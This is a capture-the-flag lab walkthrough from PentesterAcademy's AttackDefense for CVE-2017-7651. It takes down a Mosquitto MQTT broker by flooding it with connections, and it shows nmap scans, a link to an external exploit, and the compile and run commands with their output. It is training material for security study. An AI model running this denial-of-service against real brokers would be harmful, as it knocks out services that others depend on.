
ATTACK
DEFENSE
by PentesterAcademy

Name	CVE-2017-7651
URL	https://www.attackdefense.com/challengedetails?cid=573
Type	IoT : MQTT

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

CVE Description:

The Mosquitto service running on the target machine is vulnerable to RAM overflow. On exploitation, this vulnerability leads to immediate termination of the service. Also, the attack can be performed by an unauthenticated user.

Objective: Perform the attack and terminate the Mosquitto service running on the remote machine.

Solution:

Step 1: Check the IP address of Kali machine.

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
17335: eth0@if17336: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.3/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
17338: eth1@if17339: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:f1:a5:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.241.165.2/24 brd 192.241.165.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Scan the target machine using nmap.

Command: nmap -sS -sV -p 1883 192.241.165.3

```
root@attackdefense:~# nmap -sS -sV -p 1883 192.241.165.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-24 13:58 UTC
Nmap scan report for 0ptlgxmrzpsarkug3l3zjohmg.temp-network_a-241-165 (192.241.165.3)
Host is up (0.000063s latency).

PORT     STATE SERVICE VERSION
1883/tcp open  mqtt
MAC Address: 02:42:C0:F1:A5:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
root@attackdefense:~#
```

Step 3: To exploit the vulnerability,the code will flood the target server with new connections.
Exploit given here: https://pastebin.com/YBPVkj2T

Copy the exploit code to Kali attacker machine and compile it to create the binary.

Command: g++ MqttAttack.cpp -std=c++11 -pthread -o MqttAttack

Step 4: Once the binary is ready, run it.

Command: ./MqttAttack

```
root@attackdefense:~# ./MqttAttack


            ___
           (   ">
            )(
           // ) MQTT SHUTDOWN
         --//""--
         -/------

Target IP: 192.241.165.3
Using Target IP= 192.241.165.3
Press Enter to Start Attack
Starting Attack

======Status=======
100 threads created
100 closed threads
0 fails threads
0 running threads
```

Step 5: Scan the target machine again to check if the mosquitto server is still running.

Command: nmap -sS -sV -p 1883 192.241.165.3

```
root@attackdefense:~# nmap -sS -sV -p 1883 192.241.165.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-24 14:05 UTC
Nmap scan report for 0ptlgxmrzpsarkug3l3zjohmg.temp-network_a-241-165 (192.241.165.3)
Host is up (0.000066s latency).

PORT     STATE  SERVICE VERSION
1883/tcp closed mqtt
MAC Address: 02:42:C0:F1:A5:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
root@attackdefense:~#
```

Scan results show no port open which means mosquitto server has been terminated.